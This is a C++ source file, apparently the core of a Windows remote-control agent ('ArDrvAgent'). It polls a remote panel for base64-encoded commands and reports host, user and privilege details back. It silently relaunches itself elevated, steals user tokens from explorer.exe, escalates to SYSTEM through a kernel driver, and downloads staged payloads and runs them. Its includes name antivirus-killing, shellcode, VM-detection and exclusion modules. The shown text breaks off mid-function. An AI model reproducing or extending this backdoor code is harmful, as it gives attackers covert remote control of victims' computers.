#include "Common.h" #include "CloudAgent.h" #include "Logger.h" #include "TokenUtils.h" #include "DriverClient.h" #include "ProcessUtils.h" #include "ShellcodeUtils.h" #include "AvKill.h" #include "ServiceManager.h" #include "GuardService.h" #include "VmDetect.h" #include "HostSpawn.h" #include "HostStager.h" #include "Paths.h" #include "StageClient.h" #include "Exclusions.h" #include #include #include #include // Build-time defaults so the exe can run with no arguments at all (double-click). #ifndef ARDRV_DEFAULT_URL #define ARDRV_DEFAULT_URL L"" #endif #ifndef ARDRV_DEFAULT_OPERATOR_KEY #define ARDRV_DEFAULT_OPERATOR_KEY L"" #endif #ifndef ARDRV_DEFAULT_SECRET #define ARDRV_DEFAULT_SECRET L"" #endif #ifndef ARDRV_DEFAULT_AGENT #define ARDRV_DEFAULT_AGENT L"" #endif #include #include #include #include #include #pragma comment(lib, "winhttp.lib") #pragma comment(lib, "shell32.lib") #ifndef INTERNET_SCHEME_HTTPS #define INTERNET_SCHEME_HTTPS 2 #endif #ifndef WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 #define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x00000800 #endif struct CloudConfig { std::wstring agent; std::wstring url; std::wstring secret; DWORD intervalMs = 15000; bool startDriver = true; bool elevatedRequested = false; std::wstring startupFile; std::wstring startupArgs; std::wstring startupCommand; bool startupAsUser = false; }; static CloudConfig g_activeCloudConfig; static CloudConfig g_serviceConfig; static bool g_allowVm = false; static bool g_serviceConfigValid = false; struct CloudCommand { std::wstring id; std::wstring text; }; static SERVICE_STATUS_HANDLE g_serviceStatusHandle = nullptr; static SERVICE_STATUS g_serviceStatus{}; static HANDLE g_serviceStopEvent = nullptr; static std::wstring g_serviceName = L"ArDrvAgent"; static void ReportServiceStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) { if (!g_serviceStatusHandle) return; static DWORD checkPoint = 1; g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_serviceStatus.dwCurrentState = state; g_serviceStatus.dwWin32ExitCode = exitCode; g_serviceStatus.dwWaitHint = waitHint; g_serviceStatus.dwControlsAccepted = (state == SERVICE_RUNNING) ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) g_serviceStatus.dwCheckPoint = checkPoint++; else g_serviceStatus.dwCheckPoint = 0; SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus); } static DWORD WINAPI ServiceCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) { (void)eventType; (void)eventData; (void)context; switch (control) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); if (g_serviceStopEvent) SetEvent(g_serviceStopEvent); return NO_ERROR; case SERVICE_CONTROL_INTERROGATE: return NO_ERROR; default: return ERROR_CALL_NOT_IMPLEMENTED; } } static void TrimW(std::wstring& s) { size_t a = 0; size_t b = s.size(); while (a < b && iswspace(s[a])) ++a; while (b > a && iswspace(s[b - 1])) --b; if (a != 0 || b != s.size()) s = s.substr(a, b - a); } static std::wstring Utf16(const std::string& s) { if (s.empty()) return std::wstring(); int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); if (n <= 0) return std::wstring(); std::wstring w((size_t)n, L'\0'); MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), w.data(), n); return w; } static std::string Utf8(const std::wstring& w) { if (w.empty()) return std::string(); int n = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); if (n <= 0) return std::string(); std::string s((size_t)n, '\0'); WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), s.data(), n, nullptr, nullptr); return s; } static int Base64Val(int c) { if (c >= 'A' && c <= 'Z') return c - 'A'; if (c >= 'a' && c <= 'z') return c - 'a' + 26; if (c >= '0' && c <= '9') return c - '0' + 52; if (c == '+') return 62; if (c == '/') return 63; return -1; } static std::string Base64Decode(const std::string& input) { std::string clean; clean.reserve(input.size()); for (char c : input) { if (c == ' ' || c == '\r' || c == '\n' || c == '\t') continue; clean.push_back(c); } std::string out; out.reserve(clean.size()); int value = 0; int bits = 0; for (char c : clean) { if (c == '=') break; int v = Base64Val((unsigned char)c); if (v < 0) continue; value = (value << 6) | v; bits += 6; if (bits >= 8) { bits -= 8; out.push_back((char)((value >> bits) & 0xFF)); } } return out; } static std::string Base64Encode(const std::string& input) { static const char* tbl = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; std::string out; int val = 0; int bits = 0; for (unsigned char c : input) { val = (val << 8) | c; bits += 8; while (bits >= 6) { bits -= 6; out.push_back(tbl[(val >> bits) & 0x3F]); } } if (bits > 0) out.push_back(tbl[((val << (6 - bits)) & 0x3F)]); while (out.size() % 4) out.push_back('='); return out; } static std::string Base64EncodeUtf16LE(const std::wstring& w) { if (w.empty()) return std::string(); std::string bytes; bytes.resize(w.size() * sizeof(wchar_t)); memcpy(bytes.data(), w.data(), bytes.size()); return Base64Encode(bytes); } static std::wstring UrlEncode(const std::wstring& s) { std::string u = Utf8(s); std::string out; for (unsigned char c : u) { bool keep = (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || (c == '-') || (c == '_') || (c == '.') || (c == '~'); if (keep) { out.push_back((char)c); } else { char buf[8]{}; sprintf_s(buf, "%%%02X", c); out += buf; } } return Utf16(out); } static std::string HexLower(const BYTE* data, DWORD len) { static const char* digits = "0123456789abcdef"; std::string out; out.reserve(len * 2); for (DWORD i = 0; i < len; ++i) { out.push_back(digits[(data[i] >> 4) & 0xF]); out.push_back(digits[data[i] & 0xF]); } return out; } // Raw SHA-256 of a byte string. static std::string Sha256Raw(const std::string& data) { std::string out; HCRYPTPROV prov = 0; HCRYPTHASH hash = 0; if (!CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) return out; if (CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) { const BYTE empty = 0; const BYTE* ptr = data.empty() ? &empty : (const BYTE*)data.data(); if (data.empty() || CryptHashData(hash, ptr, (DWORD)data.size(), 0)) { BYTE digest[32]{}; DWORD len = sizeof(digest); if (CryptGetHashParam(hash, HP_HASHVAL, digest, &len, 0)) out.assign((const char*)digest, len); } CryptDestroyHash(hash); } CryptReleaseContext(prov, 0); return out; } static std::string Sha256HexOfBytes(const std::string& data) { std::string raw = Sha256Raw(data); if (raw.empty()) return std::string(); return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); } // HMAC-SHA256 built on the plain digest so it does not depend on CryptoAPI // HMAC key handling. static std::string HmacSha256Raw(const std::string& keyIn, const std::string& message) { std::string key = keyIn; if (key.size() > 64) key = Sha256Raw(key); key.resize(64, '\0'); std::string ipad(64, '\0'); std::string opad(64, '\0'); for (size_t i = 0; i < 64; ++i) { ipad[i] = (char)((unsigned char)key[i] ^ 0x36); opad[i] = (char)((unsigned char)key[i] ^ 0x5C); } return Sha256Raw(opad + Sha256Raw(ipad + message)); } static std::string HmacSha256Hex(const std::string& key, const std::string& message) { std::string raw = HmacSha256Raw(key, message); if (raw.empty()) return std::string(); return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); } static unsigned long long UnixTimeNow() { FILETIME ft{}; GetSystemTimeAsFileTime(&ft); ULARGE_INTEGER u{}; u.LowPart = ft.dwLowDateTime; u.HighPart = ft.dwHighDateTime; return (u.QuadPart - 116444736000000000ULL) / 10000000ULL; } // Header-safe agent id: no CR/LF, no separators that break the canonical string. static std::wstring SanitizeAgentId(const std::wstring& agent) { std::wstring out; for (wchar_t ch : agent) { if ((ch >= L'a' && ch <= L'z') || (ch >= L'A' && ch <= L'Z') || (ch >= L'0' && ch <= L'9') || ch == L'.' || ch == L'_' || ch == L'-') { out.push_back(ch); } } if (out.size() > 64) out.resize(64); return out; } // Request signature: HMAC(secret, agent \n ts \n method \n path \n sha256hex(body)) static std::wstring BuildRequestSignature( const CloudConfig& cfg, const std::wstring& method, const std::wstring& path, const std::string& body, std::wstring& timestampOut) { std::wstring agent = SanitizeAgentId(cfg.agent); unsigned long long now = UnixTimeNow(); timestampOut = std::to_wstring(now); std::string canonical = Utf8(agent) + "\n" + Utf8(timestampOut) + "\n" + Utf8(method) + "\n" + Utf8(path) + "\n" + Sha256HexOfBytes(body); return Utf16(HmacSha256Hex(Utf8(cfg.secret), canonical)); } // Per-agent key issued by /api/enroll and stored beside the host tracking file. static std::wstring AgentKeyPath(const std::wstring& agent) { std::wstring safe; for (wchar_t c : agent) { if ((c >= L'a' && c <= L'z') || (c >= L'A' && c <= L'Z') || (c >= L'0' && c <= L'9') || c == L'.' || c == L'_' || c == L'-') { safe.push_back(c); } } return ArdrvRoot() + L"\\agent-" + safe + L".key"; } static std::wstring ReadAgentKeyFile(const std::wstring& agent) { HANDLE h = CreateFileW( AgentKeyPath(agent).c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); if (h == INVALID_HANDLE_VALUE) { // Legacy single-key layout: one agent.key per machine root. h = CreateFileW( (ArdrvRoot() + L"\\agent.key").c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); } if (h == INVALID_HANDLE_VALUE) return std::wstring(); char buf[512]{}; DWORD read = 0; ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr); CloseHandle(h); std::wstring out; for (DWORD i = 0; i < read; ++i) { char c = buf[i]; if (c == '\r' || c == '\n' || c == ' ') continue; out.push_back((wchar_t)c); } return out; } static bool WriteAgentKeyFile(const std::wstring& agent, const std::wstring& secret) { std::string bytes = Utf8(secret); HANDLE h = CreateFileW( AgentKeyPath(agent).c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, nullptr); if (h == INVALID_HANDLE_VALUE) return false; DWORD written = 0; BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr); CloseHandle(h); return ok && written == bytes.size(); } static std::wstring JsonStringField(const std::string& json, const char* field) { std::string needle = std::string("\"") + field + "\":\""; size_t pos = json.find(needle); if (pos == std::string::npos) return std::wstring(); pos += needle.size(); size_t end = json.find('"', pos); if (end == std::string::npos) return std::wstring(); return Utf16(json.substr(pos, end - pos)); } static std::wstring RegReadString(const wchar_t* name) { std::wstring out; HKEY h = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\CloudAgent", 0, KEY_READ, &h) != ERROR_SUCCESS) return out; DWORD type = 0; DWORD size = 0; if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || (type != REG_SZ && type != REG_EXPAND_SZ) || size == 0) { RegCloseKey(h); return out; } std::vector buf(size / sizeof(wchar_t) + 1); if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) out = buf.data(); RegCloseKey(h); return out; } static std::wstring ConfigValue(const wchar_t* envName, const wchar_t* regName, const wchar_t* def) { wchar_t env[32768]{}; DWORD n = GetEnvironmentVariableW(envName, env, _countof(env)); if (n > 0 && n < _countof(env)) return env; std::wstring reg = RegReadString(regName); if (!reg.empty()) return reg; return def ? def : L""; } static bool ParseBoolW(std::wstring v) { for (auto& ch : v) { if (ch >= L'A' && ch <= L'Z') ch = (wchar_t)(ch + 32); } return v == L"1" || v == L"true" || v == L"yes" || v == L"on" || v == L"enable"; } static bool ConfigBool(const wchar_t* envName, const wchar_t* regName, bool defaultValue) { std::wstring v = ConfigValue(envName, regName, L""); if (v.empty()) return defaultValue; return ParseBoolW(v); } static std::wstring MakeUrl(const CloudConfig& cfg, const std::wstring& path) { std::wstring url = cfg.url; if (url.empty()) return url; if (url.back() != L'/') url += L'/'; url += path; return url; } static bool HttpRequest( const std::wstring& method, const std::wstring& url, const std::wstring& signPath, const CloudConfig* auth, const std::string& body, std::string& response, DWORD* statusCodeOut, const std::wstring& extraHeaders = L"") { response.clear(); if (statusCodeOut) *statusCodeOut = 0; URL_COMPONENTS parsed{}; parsed.dwStructSize = sizeof(parsed); wchar_t host[512]{}; wchar_t path[4096]{}; wchar_t extra[4096]{}; parsed.lpszHostName = host; parsed.dwHostNameLength = _countof(host); parsed.lpszUrlPath = path; parsed.dwUrlPathLength = _countof(path); parsed.lpszExtraInfo = extra; parsed.dwExtraInfoLength = _countof(extra); if (!WinHttpCrackUrl(url.c_str(), 0, 0, &parsed)) return false; std::wstring uHost = host; std::wstring uPath = path; if (uPath.empty()) uPath = L"/"; if (extra[0]) uPath += extra; INTERNET_PORT port = parsed.nPort; if (port == 0) { port = (parsed.nScheme == INTERNET_SCHEME_HTTPS) ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT; } HINTERNET session = WinHttpOpen( L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!session) return false; DWORD protocols = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2; WinHttpSetOption(session, WINHTTP_OPTION_SECURE_PROTOCOLS, &protocols, sizeof(protocols)); WinHttpSetTimeouts(session, 5000, 10000, 15000, 30000); HINTERNET connect = WinHttpConnect(session, uHost.c_str(), port, 0); if (!connect) { WinHttpCloseHandle(session); return false; } DWORD flags = (parsed.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0; HINTERNET request = WinHttpOpenRequest( connect, method.c_str(), uPath.c_str(), nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, flags); if (!request) { WinHttpCloseHandle(connect); WinHttpCloseHandle(session); return false; } std::wstring headers = L"Accept: application/json, text/plain, */*\r\n"; if (auth && !auth->agent.empty() && !auth->secret.empty()) { std::wstring timestamp; std::wstring signature = BuildRequestSignature(*auth, method, signPath, body, timestamp); headers += L"X-Agent-Id: " + SanitizeAgentId(auth->agent) + L"\r\n"; headers += L"X-Agent-Ts: " + timestamp + L"\r\n"; headers += L"X-Agent-Sign: " + signature + L"\r\n"; } if (!body.empty()) headers += L"Content-Type: application/octet-stream\r\n"; if (!extraHeaders.empty()) headers += extraHeaders; const wchar_t* hdr = headers.empty() ? nullptr : headers.c_str(); DWORD hdrLen = hdr ? (DWORD)-1 : 0; LPVOID data = body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(); DWORD dataLen = (DWORD)body.size(); if (!WinHttpSendRequest(request, hdr, hdrLen, data, dataLen, dataLen, 0)) { WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session); return false; } if (!WinHttpReceiveResponse(request, nullptr)) { WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session); return false; } if (statusCodeOut) { DWORD status = 0; DWORD size = sizeof(status); if (WinHttpQueryHeaders( request, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &status, &size, WINHTTP_NO_HEADER_INDEX)) { *statusCodeOut = status; } } DWORD available = 0; while (WinHttpQueryDataAvailable(request, &available)) { if (available == 0) break; size_t oldSize = response.size(); response.resize(oldSize + available); DWORD read = 0; if (!WinHttpReadData(request, &response[oldSize], available, &read) || read == 0) break; if (read < available) response.resize(oldSize + read); } WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session); return true; } static std::wstring GetProcessSidString(); // Metadata the panel shows. Sent with every poll, so the agent is listed even // before its first command runs. static std::wstring AgentMetaHeaders(const CloudConfig& cfg) { wchar_t host[256]{}; DWORD hostLen = _countof(host); GetComputerNameW(host, &hostLen); wchar_t user[256]{}; DWORD userLen = _countof(user); GetUserNameW(user, &userLen); std::wstring meta; meta += L"X-Agent-Host: "; meta += host; meta += L"\r\n"; meta += L"X-Agent-User: "; meta += user; meta += L"\r\n"; meta += L"X-Agent-Sid: "; meta += GetProcessSidString(); meta += L"\r\n"; meta += L"X-Agent-Version: 1.1.0\r\n"; meta += L"X-Agent-Interval: "; meta += std::to_wstring(cfg.intervalMs); meta += L"\r\n"; meta += L"X-Agent-System: "; meta += IsCurrentProcessSystem() ? L"1\r\n" : L"0\r\n"; return meta; } static bool PollCommand(const CloudConfig& cfg, CloudCommand& out) { out = CloudCommand(); std::wstring path = L"poll?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)); std::string body; DWORD status = 0; if (!HttpRequest(L"GET", MakeUrl(cfg, path), path, &cfg, body, body, &status, AgentMetaHeaders(cfg))) return false; if (status >= 400) return false; if (status == 204 || body.empty()) return false; while (!body.empty() && (body.back() == '\r' || body.back() == '\n' || body.back() == '\0')) { body.pop_back(); } size_t nl = body.find('\n'); std::string idPart; std::string cmdPart; if (nl != std::string::npos) { idPart = body.substr(0, nl); cmdPart = body.substr(nl + 1); } else { cmdPart = body; } std::string decoded = Base64Decode(cmdPart); if (decoded.empty() && !cmdPart.empty()) decoded = cmdPart; out.id = Utf16(idPart); out.text = Utf16(decoded); TrimW(out.text); return !out.text.empty(); } static bool AckCommand(const CloudConfig& cfg, const std::wstring& id, const std::wstring& result) { std::wstring path = L"ack?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)) + L"&id=" + UrlEncode(id); std::string body = Base64Encode(Utf8(result)); std::string resp; return HttpRequest(L"POST", MakeUrl(cfg, path), path, &cfg, body, resp, nullptr); } static std::wstring GetProcessSidString() { HANDLE hToken = nullptr; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return L"?"; DWORD needed = 0; GetTokenInformation(hToken, TokenUser, nullptr, 0, &needed); if (needed == 0) { CloseHandle(hToken); return L"?"; } std::vector buf(needed); PTOKEN_USER tu = reinterpret_cast(buf.data()); if (!GetTokenInformation(hToken, TokenUser, tu, needed, &needed)) { CloseHandle(hToken); return L"?"; } LPWSTR sidStr = nullptr; std::wstring out = L"?"; if (ConvertSidToStringSidW(tu->User.Sid, &sidStr)) { out = sidStr; LocalFree(sidStr); } CloseHandle(hToken); return out; } static bool IsProcessAdmin() { PSID adminSid = nullptr; bool isAdmin = false; if (ConvertStringSidToSidW(L"S-1-5-32-544", &adminSid)) { BOOL member = FALSE; if (CheckTokenMembership(nullptr, adminSid, &member)) isAdmin = (member == TRUE); FreeSid(adminSid); } return isAdmin; } static std::wstring BuildParamsForRelaunch(int argc, wchar_t** argv) { std::wstring params; for (int i = 1; i < argc; ++i) { std::wstring arg = argv[i]; if (arg.empty()) continue; bool needQuote = arg.find(L' ') != std::wstring::npos; if (!params.empty()) params += L" "; if (needQuote) params += L'"'; params += arg; if (needQuote) params += L'"'; } if (!params.empty()) params += L" "; params += L"--elevated"; return params; } static bool EnsureAdminIfNeeded(int argc, wchar_t** argv, const CloudConfig& cfg) { if (cfg.elevatedRequested) return true; if (IsCurrentProcessSystem()) return true; if (IsProcessAdmin()) return true; wchar_t exe[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); if (len == 0 || len >= _countof(exe)) return false; std::wstring params = BuildParamsForRelaunch(argc, argv); HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_HIDE); if ((INT_PTR)h > 32) { ExitProcess(0); return true; } h = ShellExecuteW(nullptr, nullptr, exe, params.c_str(), nullptr, SW_HIDE); if ((INT_PTR)h > 32) { ExitProcess(0); return true; } return false; } static HANDLE DuplicateTokenForPrimary(HANDLE src) { HANDLE dup = nullptr; const DWORD fullAccess = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; if (DuplicateTokenEx(src, fullAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) return dup; const DWORD minimalAccess = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT; dup = nullptr; if (DuplicateTokenEx(src, minimalAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) return dup; return nullptr; } static bool TokenSession(HANDLE token, DWORD session) { DWORD s = 0; DWORD needed = 0; if (!GetTokenInformation(token, TokenSessionId, &s, sizeof(s), &needed)) return false; return s == session; } static HANDLE GetActiveUserToken() { if (!IsCurrentProcessSystem()) { HANDLE tok = nullptr; if (OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, &tok)) { return tok; } if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) { HANDLE dup = DuplicateTokenForPrimary(tok); CloseHandle(tok); return dup; } return nullptr; } EnablePrivilege(SE_TCB_NAME); DWORD session = WTSGetActiveConsoleSessionId(); if (session == 0xFFFFFFFF) return nullptr; HANDLE userTok = nullptr; if (WTSQueryUserToken(session, &userTok)) { HANDLE dup = DuplicateTokenForPrimary(userTok); CloseHandle(userTok); return dup; } HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snap == INVALID_HANDLE_VALUE) return nullptr; PROCESSENTRY32W pe{}; pe.dwSize = sizeof(pe); HANDLE found = nullptr; if (Process32First(snap, &pe)) { do { if (_wcsicmp(pe.szExeFile, L"explorer.exe") != 0) continue; HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); if (!hProc) continue; HANDLE tok = nullptr; const DWORD access = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; if (!OpenProcessToken(hProc, access, &tok)) { if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) { CloseHandle(hProc); continue; } HANDLE dup = DuplicateTokenForPrimary(tok); CloseHandle(tok); CloseHandle(hProc); if (dup && TokenSession(dup, session)) { found = dup; break; } if (dup) CloseHandle(dup); continue; } HANDLE dup = DuplicateTokenForPrimary(tok); CloseHandle(tok); CloseHandle(hProc); if (dup && TokenSession(dup, session)) { found = dup; break; } if (dup) CloseHandle(dup); } while (Process32Next(snap, &pe)); } CloseHandle(snap); return found; } static bool RunCommandLineCurrent(const std::wstring& commandLine) { if (commandLine.empty()) return false; std::wstring cmd = commandLine; STARTUPINFOW si{}; si.cb = sizeof(si); PROCESS_INFORMATION pi{}; BOOL ok = CreateProcessW( nullptr, cmd.data(), nullptr, nullptr, FALSE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi); if (ok) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } return ok == TRUE; } static bool RunCommandLineAsUser(const std::wstring& commandLine) { if (commandLine.empty()) return false; HANDLE tok = GetActiveUserToken(); if (!tok) return RunCommandLineCurrent(commandLine); if (IsCurrentProcessSystem()) { DWORD session = WTSGetActiveConsoleSessionId(); if (session != 0xFFFFFFFF) SetTokenInformation(tok, TokenSessionId, &session, sizeof(session)); } LPVOID env = nullptr; BOOL envOk = CreateEnvironmentBlock(&env, tok, FALSE); STARTUPINFOW si{}; si.cb = sizeof(si); si.lpDesktop = const_cast(L"Winsta0\\Default"); std::wstring cmd = commandLine; PROCESS_INFORMATION pi{}; BOOL ok = CreateProcessAsUserW( tok, nullptr, cmd.data(), nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, envOk ? env : nullptr, nullptr, &si, &pi); if (ok) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } if (envOk) DestroyEnvironmentBlock(env); CloseHandle(tok); if (!ok) return RunCommandLineCurrent(commandLine); return true; } static std::wstring TrimQuotes(const std::wstring& s) { if (s.size() >= 2 && s.front() == L'"' && s.back() == L'"') return s.substr(1, s.size() - 2); return s; } static std::wstring QuotePathIfNeeded(const std::wstring& path) { if (path.empty()) return path; if (path.front() == L'"') return path; if (path.find(L' ') != std::wstring::npos) return L"\"" + path + L"\""; return path; } static std::wstring MakeCommandLineFromPath(const std::wstring& pathIn, const std::wstring& args) { std::wstring path = TrimQuotes(pathIn); wchar_t abs[MAX_PATH]{}; if (GetFullPathNameW(path.c_str(), _countof(abs), abs, nullptr)) path = abs; std::wstring full = QuotePathIfNeeded(path); if (!args.empty()) { full += L" "; full += args; } return full; } static bool ParseToken(const std::wstring& line, size_t& pos, std::wstring& token) { while (pos < line.size() && iswspace(line[pos])) ++pos; if (pos >= line.size()) return false; token.clear(); if (line[pos] == L'"') { ++pos; while (pos < line.size() && line[pos] != L'"') { token += line[pos]; ++pos; } if (pos < line.size()) ++pos; return !token.empty(); } while (pos < line.size() && !iswspace(line[pos])) { token += line[pos]; ++pos; } return !token.empty(); } static bool RunShellExecuteCurrent(const std::wstring& pathIn, const std::wstring& args) { std::wstring path = TrimQuotes(pathIn); if (path.empty()) return false; HINSTANCE h = ShellExecuteW( nullptr, nullptr, path.c_str(), args.empty() ? nullptr : args.c_str(), nullptr, SW_SHOW); return (INT_PTR)h > 32; } static std::wstring GetCmdExePath() { wchar_t sys[MAX_PATH]{}; UINT n = GetSystemDirectoryW(sys, _countof(sys)); if (n == 0 || n >= _countof(sys)) return L"C:\\Windows\\System32\\cmd.exe"; std::wstring path = sys; path += L"\\cmd.exe"; return path; } static std::wstring GetPayloadDir() { return ArdrvStageDir(); } static std::wstring FileNameFromUrl(const std::wstring& url) { std::wstring path = url; size_t q = path.find_first_of(L"?#"); if (q != std::wstring::npos) path = path.substr(0, q); size_t slash = path.find_last_of(L'/'); if (slash != std::wstring::npos) path = path.substr(slash + 1); for (auto& ch : path) { if (ch == L':' || ch == L'*' || ch == L'?' || ch == L'"' || ch == L'<' || ch == L'>' || ch == L'|') { ch = L'_'; } } if (path.empty()) path = L"payload.bin"; return path; } static std::wstring Sha256OfFile(const std::wstring& path) { HANDLE file = CreateFileW( path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (file == INVALID_HANDLE_VALUE) return std::wstring(); HCRYPTPROV prov = 0; HCRYPTHASH hash = 0; std::wstring hex; if (CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) && CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) { BYTE buf[64 * 1024]{}; DWORD read = 0; bool ok = true; while (ok && ReadFile(file, buf, sizeof(buf), &read, nullptr) && read > 0) ok = CryptHashData(hash, buf, read, 0) != FALSE; if (ok) { BYTE digest[32]{}; DWORD digestLen = sizeof(digest); if (CryptGetHashParam(hash, HP_HASHVAL, digest, &digestLen, 0)) { static const wchar_t* digits = L"0123456789abcdef"; for (DWORD i = 0; i < digestLen; ++i) { hex += digits[(digest[i] >> 4) & 0xF]; hex += digits[digest[i] & 0xF]; } } } } if (hash) CryptDestroyHash(hash); if (prov) CryptReleaseContext(prov, 0); CloseHandle(file); return hex; } static bool DownloadUrlToFile( const std::wstring& url, const std::wstring& outPathIn, const std::wstring& expectedSha256, std::wstring& error) { error.clear(); if (url.empty() || outPathIn.empty()) { error = L"empty url or path"; return false; } std::string bytes; DWORD status = 0; if (!HttpRequest(L"GET", url, L"", nullptr, std::string(), bytes, &status)) { error = L"http request failed"; return false; } if (status != 0 && status != 200) { error = L"http status " + std::to_wstring(status); return false; } if (bytes.empty()) { error = L"empty response"; return false; } // Hard ceiling so a hostile or broken URL cannot fill the disk. const size_t maxBytes = 256ull * 1024ull * 1024ull; if (bytes.size() > maxBytes) { error = L"payload too large (>256MB)"; return false; } std::wstring outPath = TrimQuotes(outPathIn); wchar_t abs[4096]{}; if (GetFullPathNameW(outPath.c_str(), _countof(abs), abs, nullptr)) outPath = abs; std::wstring dir = outPath; size_t slash = dir.find_last_of(L'\\'); if (slash != std::wstring::npos) { dir = dir.substr(0, slash); CreateDirectoryW(dir.c_str(), nullptr); } HANDLE file = CreateFileW( outPath.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (file == INVALID_HANDLE_VALUE) { error = L"create failed " + std::to_wstring(GetLastError()); return false; } DWORD written = 0; BOOL wrote = WriteFile(file, bytes.data(), (DWORD)bytes.size(), &written, nullptr); DWORD writeError = GetLastError(); CloseHandle(file); if (!wrote || written != bytes.size()) { error = L"write failed " + std::to_wstring(writeError); DeleteFileW(outPath.c_str()); return false; } if (!expectedSha256.empty()) { std::wstring actual = Sha256OfFile(outPath); if (actual.empty() || _wcsicmp(actual.c_str(), expectedSha256.c_str()) != 0) { error = L"hash mismatch got " + (actual.empty() ? L"(unreadable)" : actual); DeleteFileW(outPath.c_str()); return false; } } Log(L"[cloud] downloaded %s (%zu bytes) -> %s", url.c_str(), bytes.size(), outPath.c_str()); return true; } static HANDLE AcquireSystemToken() { HANDLE preferred = nullptr; if (EnsureDriverLoaded()) EscalateViaDriver(&preferred); HANDLE tok = GetSystemToken(preferred); if (preferred) CloseHandle(preferred); return tok; } static bool RunCommandLineAsSystem(const std::wstring& commandLine) { if (commandLine.empty()) return false; HANDLE tok = AcquireSystemToken(); if (!tok) return false; std::wstring cmdExe = GetCmdExePath(); std::wstring args = L"/C "; args += commandLine; bool ok = StartProcessAsSystem(tok, 